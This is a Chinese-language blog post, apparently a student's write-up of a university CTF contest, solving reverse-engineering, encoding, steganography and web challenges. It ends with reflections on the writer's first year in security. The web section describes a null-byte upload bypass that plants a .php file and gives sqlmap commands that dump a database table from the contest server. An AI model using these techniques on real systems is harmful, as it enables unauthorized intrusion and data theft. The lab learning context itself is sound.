本次比赛时间大概为2019年1月末,当时留校参加ACM的集训,后面几天由于太难听不进去,恰逢此次比赛,于是第一次参加CTF。
第一次做出ctf题,虽然很简单,但我好高兴
原来只想到拼了命也要做出一道题来,没想到一做做了这么多
第一道▼逆向签到
下载文件,打开IDA64,把文件脱进来,F5将汇编翻译成c语言
主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
int v5; // [rsp+0h] [rbp-C0h]
int v6; // [rsp+4h] [rbp-BCh]
int v7; // [rsp+8h] [rbp-B8h]
int v8; // [rsp+Ch] [rbp-B4h]
int v9; // [rsp+10h] [rbp-B0h]
int v10; // [rsp+14h] [rbp-ACh]
int v11; // [rsp+18h] [rbp-A8h]
int v12; // [rsp+1Ch] [rbp-A4h]
int v13; // [rsp+20h] [rbp-A0h]
int v14; // [rsp+24h] [rbp-9Ch]
int v15; // [rsp+28h] [rbp-98h]
int v16; // [rsp+2Ch] [rbp-94h]
int v17; // [rsp+30h] [rbp-90h]
int v18; // [rsp+34h] [rbp-8Ch]
int v19; // [rsp+38h] [rbp-88h]
int v20; // [rsp+3Ch] [rbp-84h]
int v21; // [rsp+40h] [rbp-80h]
int v22; // [rsp+44h] [rbp-7Ch]
int v23; // [rsp+48h] [rbp-78h]
int v24; // [rsp+4Ch] [rbp-74h]
int v25; // [rsp+50h] [rbp-70h]
int v26; // [rsp+54h] [rbp-6Ch]
int v27; // [rsp+58h] [rbp-68h]
int v28; // [rsp+5Ch] [rbp-64h]
int v29; // [rsp+60h] [rbp-60h]
int v30; // [rsp+64h] [rbp-5Ch]
int v31; // [rsp+68h] [rbp-58h]
int v32; // [rsp+6Ch] [rbp-54h]
int v33; // [rsp+70h] [rbp-50h]
char s[40]; // [rsp+80h] [rbp-40h]
int v35; // [rsp+A8h] [rbp-18h]
int i; // [rsp+ACh] [rbp-14h]
puts("* please input flag: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 29 )
{
v35 = rand() % 100;
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(s) )
break;
s[i] ^= v35;
}
v5 = 53;
v6 = 63;
v7 = 50;
v8 = 52;
v9 = 40;
v10 = 1;
v11 = 50;
v12 = 61;
v13 = 55;
v14 = 99;
v15 = 62;
v16 = 118;
v17 = 98;
v18 = 60;
v19 = 60;
v20 = 12;
v21 = 106;
v22 = 58;
v23 = 37;
v24 = 54;
v25 = 12;
v26 = 38;
v27 = 12;
v28 = 102;
v29 = 48;
v30 = 60;
v31 = 33;
v32 = 54;
v33 = 46;
if ( (unsigned int)Check((__int64)s, (__int64)&v5) == 1 )
puts("* CCCCCCCCCCCongratulation!!!!");
else
puts("* try it again");
result = 0;
}
else
{
puts("* try it again");
result = 0;
}
return result;
}
check函数:
signed __int64 __fastcall Check(__int64 a1, __int64 a2)
{
signed int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 28; ++i )
{
if ( *(char *)(i + a1) != *(_DWORD *)(4LL * i + a2) )
return 0LL;
}
return 1LL;
}
主函数中下图所示的代码块将输入的字符串逐个字符地与随机数(0~99)进行异或
(若a^b=c,则a=b^c,按此原理可写脚本)
check函数将经过异或处理后的数据和主函数中存储的v5~v33作比较,相同则返回真
第一次接触逆向的题,我没想明白随机数每次都变,怎么保证输入的字符串是正确答案?
后来无意中暴力了一下,得到了100个不同的字符串,这才想明白,有100个字符串是正确答案,一个随机数对应一个,也就是说,当flag的字符串对应的随机数并没有随机到的时候,这是输入flag后也会显示* try it again
我写的暴力脚本:
(python还在学,不熟练,先用c++)
(c++是世界上最好的语言,233)
#include<iostream>
#include<cstdlib>
#include<ctime>
using namespace std;
int main()
{
srand(time(0));//不写这个的话,随机数并不随机
int v[29]={53,63,50,52,40,1,50,61,55,99,62,118,98,60,60,12,106,58,37,54,12,38,12,102,48,60,33,54,46};
int v35=rand()%100;
for (int i=0;i<=99;i++)
{
v35=i;
cout<<v35<<endl;
for (int i=0;i<=28;i++)
cout<<(char(v35^v[i]));
cout<<endl;
}
return 0;
}
结果
第二道▼base全家桶了解一下??
base64解码为base32再解码到base16再解码到明文
密文:R1kzRE1RWldHRTNET04yQ0dVM1RNTkpXSU0zREdNWlFHWkNETU5KVklZM1RJTVpRR01ZREtSUldHTTNUS05TRUc0MkRNTVpYR1EzRE1OMkU=
64转32:
GY3DMQZWGE3DON2CGU3TMNJWIM3DGMZQGZCDMNJVIY3TIMZQGMYDKRRWGM3TKNSEG42DMMZXGQ3DMN2E
32转16
666C61677B57656C63306D655F7430305F63756D746374667D
16解码:
flag{Welc0me_t00_cumtctf}
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案
Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码
第三道▼现代密码签到
两次DES解码
密文:
U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+7G4zK5p hHvL/5MHRKFV/L2THW1XCylB3U+pxCxbmnpQ2RB2ZTU=
第一次解码:
U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg==
第二次解码:
cumtctf{double_D3s_HHH}
第四道▼Misc签到
对照盲文翻译即可,翻译为BAIND,根据提示,改为B1IND,正好和BLIND(盲的)相似
第五道▼Easy_Math
用IDA64打开
主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+0h] [rbp-160h]
int v5; // [rsp+100h] [rbp-60h]
int v6; // [rsp+104h] [rbp-5Ch]
int v7; // [rsp+108h] [rbp-58h]
int v8; // [rsp+10Ch] [rbp-54h]
int v9; // [rsp+110h] [rbp-50h]
int v10; // [rsp+114h] [rbp-4Ch]
int v11; // [rsp+118h] [rbp-48h]
int v12; // [rsp+11Ch] [rbp-44h]
int v13; // [rsp+120h] [rbp-40h]
__int64 v14; // [rsp+130h] [rbp-30h]
__int64 v15; // [rsp+138h] [rbp-28h]
__int64 v16; // [rsp+140h] [rbp-20h]
__int64 v17; // [rsp+148h] [rbp-18h]
int v18; // [rsp+150h] [rbp-10h]
char s[8]; // [rsp+157h] [rbp-9h]
char v20; // [rsp+15Fh] [rbp-1h]
*(_QWORD *)s = 0LL;
v20 = 0;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0;
v5 = 1;
v6 = 2;
v7 = 1;
v8 = 2;
v9 = 1;
v10 = 1;
v11 = 1;
v12 = 1;
v13 = 2;
memset(&v4, 0, 0x100uLL);
puts("* please input flag: ");
__isoc99_scanf("%s", s);
if ( strlen(s) == 9 )
{
String2Int(s, (__int64)&v14);
Change((__int64)&v14, (__int64)&v5, (__int64)&v4);
if ( (unsigned int)Check((__int64)&v4) == 1 )
puts("CCCCCCCCCCCongratulation!!!!");
else
puts("try it again");
result = 0;
}
else
{
puts("* try it again");
result = 0;
}
return result;
}
String2Int函数:
作用很简单,把输入的字符串的每一个字符都分别赋值给从v14开始的9个变量
size_t __fastcall String2Int(const char *a1, __int64 a2)
{
size_t result; // rax
int i; // [rsp+1Ch] [rbp-14h]
for ( i = 0; ; ++i )
{
result = strlen(a1);
if ( i >= result )
break;
*(_DWORD *)(4LL * i + a2) = a1[i];
}
return result;
}
change函数:(就你这破函数事儿多,变啥变啊,看了我好几个小时)
这个太难看了,萌新不会写算法,所以就手动模拟了(模拟图见本题最后)
_DWORD *__fastcall Change(__int64 a1, __int64 a2, __int64 a3)
{
_DWORD *result; // rax
signed int m; // [rsp+24h] [rbp-14h]
signed int l; // [rsp+28h] [rbp-10h]
signed int k; // [rsp+2Ch] [rbp-Ch]
signed int j; // [rsp+30h] [rbp-8h]
signed int i; // [rsp+34h] [rbp-4h]
for ( i = 0; i <= 2; ++i )
{
for ( j = 0; j <= 2; ++j )
{
result = (_DWORD *)(4 * (3 * i + (signed __int64)j) + a3);
*result = 0;
}
}
for ( k = 0; k <= 2; ++k )
{
for ( l = 0; l <= 2; ++l )
{
for ( m = 0; m <= 2; ++m )
{
result = (_DWORD *)(4 * (3 * k + (signed __int64)l) + a3);
*result += *(_DWORD *)(4 * (3 * m + (signed __int64)l) + a2) * *(_DWORD *)(4 * (3 * k + (signed __int64)m) + a1);
}
}
}
return result;
}
Check函数:
经过change变换后的字符与check内的局部变量v2~v10相比较
signed __int64 __fastcall Check(__int64 a1)
{
int v2; // [rsp+8h] [rbp-30h]
int v3; // [rsp+Ch] [rbp-2Ch]
int v4; // [rsp+10h] [rbp-28h]
int v5; // [rsp+14h] [rbp-24h]
int v6; // [rsp+18h] [rbp-20h]
int v7; // [rsp+1Ch] [rbp-1Ch]
int v8; // [rsp+20h] [rbp-18h]
int v9; // [rsp+24h] [rbp-14h]
int v10; // [rsp+28h] [rbp-10h]
int i; // [rsp+34h] [rbp-4h]
v2 = 274;
v3 = 294;
v4 = 316;
v5 = 262;
v6 = 274;
v7 = 252;
v8 = 380;
v9 = 421;
v10 = 427;
for ( i = 0; i <= 8; ++i )
{
if ( *(_DWORD *)(4LL * i + a1) != *(&v2 + i) )
return 0LL;
}
return 1LL;
}
手动模拟,解出方程,转换成char类型的,得到flag
第六道▼BXS图标真好看
(这是我们队(c家家)的第七道,我队第六道是张龙做的web)
后缀改为png,得到密文fgookwnl{_un_gaDy_0p},刚开始以为fgookwnl对应flag,两个字母对应一个字母,后来无意中发现flag中的f到l和l到a都相隔7位,就以为所有的都是往后找7个数,但到了flag中的g时,发现从a到g相隔7位(不算已经取出的f),但从g到{才隔着6位(除非算上取出的l才相隔7位),然后就以为前3此移位是7位,后面的移位都是6位,但这样取,}居然提前取出来了。然后他突然灵机一动,共21个字符,7移动了3次,然后移动6,3*7=21,即7三次,6三次,一直到1三次(虽然最后发现1只有两次,因为21个字符有20个间隔)
第七道▼古典密码签到
先base32,根据提示得到^pho^oav`
tZnj`
tZZZcccx
一点基础也没有,根本无从下手,中间想试试移位,但死活和flag对不上(忘了还有cumtctf这个格式)。最后想试试凯撒,但凯撒只能搞纯字母,过了一会,突然想到,可能是凯撒的思想,不一定在26个字符中移位,也可能在Z(ascll最小,为90)和x(ascll最大,为120)间移位。编了个程序,虽然最后发现有点小错误,但还是发现出现了cumtctf的字样,于是肯定思路没错,找错误吧。错误还没找到的,先发现了其实就是向后移动5位。。。重新编了个往后移5位的程序,答案就跑出来了
进前十啦
web的签到题是张龙做的哦
第八道▼起床改error啦!
解压,得到一张图片
按照提示,图文无关,拖进C32Asm
文件末尾出现了flag.doc的字样,怀疑是两个文件结合而来
打开kali,将图片拖进虚拟机ctf文件夹
将新生成的flag.doc拖回win10,居然打不开
这时发现之前用binwalk时出现的Zip archive data这句话,百度一下,原来是种压缩方式
unzip解压这个doc
拖回win10,打开
那就接着找吧。点击文件再点击选项
然后点击显示,勾上隐藏文字
答案就出来了
第九道▼矿大校歌认真听听吧?
一个带密码的压缩包,尝试1~6位数字暴力破解密码,没出来,拖进winhex(或C32Asm),最后一行写着cumtctf2019,猜测就是密码,果然。
里面只有一个cumt.mp3,是矿大校歌。打开听了,正常的校歌。
拖进audacity(在这个软件上耗费了我三个小时以上的时间,没想到这道题用不到这个软件)
频谱图也看不出来flag(最初怀疑过紫线和白线,放大后一点一点找,耗费了好几个小时,也听了好几个小时的校歌)
关闭,打开kali,用binwalk分析
结果并不是多个文件的结合
回到win10,用MP3Stego试一下
双击MP3Stego目录下的mp3.bat(该文件作用是在cmd中进入MP3Stego目录),键入
decode -X -P cumtctf cumt.mp3
-X是文件名
-P是密码
(至于为啥后面的参数的顺序是反着的我也不清楚)
生成了两个文件
打开cumt.mp3.txt,得到flag{cumtctf_1s_v3ry_g00d!}
(最初不知道密码,猜了个题目名,即cmut,结果提示错误,没想到cumtctf2019既是压缩包密码,又是MP3隐写的密码)
第十题▼SimpleUpload签到
只能上传图片,但要求是上传.php
使用burpsuite抓包再修改数据上传https://www.sohu.com/a/236194259_658302
安装了jdk后,我仍然无法打开burpsuite.jar,所以我将burpsuite.jar放入
打开cmd,键入java -jar burpsuite.jar,通过这样打开burpsuite,但弊端是每次都要输入一次,而且使用burpsuite过程中不能关闭输入命令的那个cmd窗口,否则burpsuite也会关闭。
依次点close(不更新),next,然后点start burp
打开360极速浏览器(chrome我还不会设置代理服务器),搜索“代理”
点击代理服务器设置
在代理服务器列表中添加127.0.0.1:8080
点击代理服务器,勾选127.0.0.1:8080
浏览器地址栏键入题目网址,发现打不开,那就先把上图的不使用代理服务器勾选,打开网页后再勾选127.0.0.1:8080
再桌面新建一个空白文件,文件名为1.php .png
注意php和.png之间有一个空格。
打开burpsuite,开启抓包(Intercept is on)
这时上传1.php .png
抓到包
点击Proxy中的Intercept中的Hex
找到1.php .png所在的一行
将20改为00(空格的hex是20)
原理是:提交的是.png,但服务器端读到00后就截断了,所以服务器端认为是.php
点击Forward,上传修改后的包
得到flag
(做出来后没几分钟,张龙告诉我他也做出来了,好像他是直接F12查看的代码,假期结束后再问问他)
(之前他说这道题有头绪了,我以为这100分到手了,没想到两天了他还不提交flag,我以为他懒得不做了,气的我现学了好几个小时,才搞到flag。不靠谱的男人(。・∀・)ノ)
第十一题▼
参考了这个的第一题https://www.cnblogs.com/baifan2618/p/7762666.html
题目网址http://bxs.cumt.edu.cn:30007/test/index.php
(sqlmap的各种参数详见另一篇笔记)
打开kali的终端,键入
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 --dbs
结果如下图
得到可访问数据库
猜测flag在security中
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 --tables -D security
上下两图无缝衔接(太长了,截不到一起)
看到flagishere就知道稳了
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 --columns -T flagishere -D security
我这个萌新还以为flag就是non-numeric呢,还以为要在网址后面加?id=numeric
都错了。接着键入
sqlmap -u http://bxs.cumt.edu.cn:30007/test/index.php?id=1 --dump -C flag -T flagishere -D security
得到flag
最终成绩
我正式决定搞安全就是从这场比赛开始的。
我生涯中第一道解出的CTF题目,正是本文的第一道题,一道逆向签到。
也正是这个原因,我最终在web和bin之间选择了逆向。
时间过得好快呀,第二次双月赛是19年1月末举行的,现在19年12月了,都快一年了。
想了想这一无所获的一年,我不禁感到羞愧。
整天看似忙忙碌碌地,最后一总结,似乎什么收获都没有。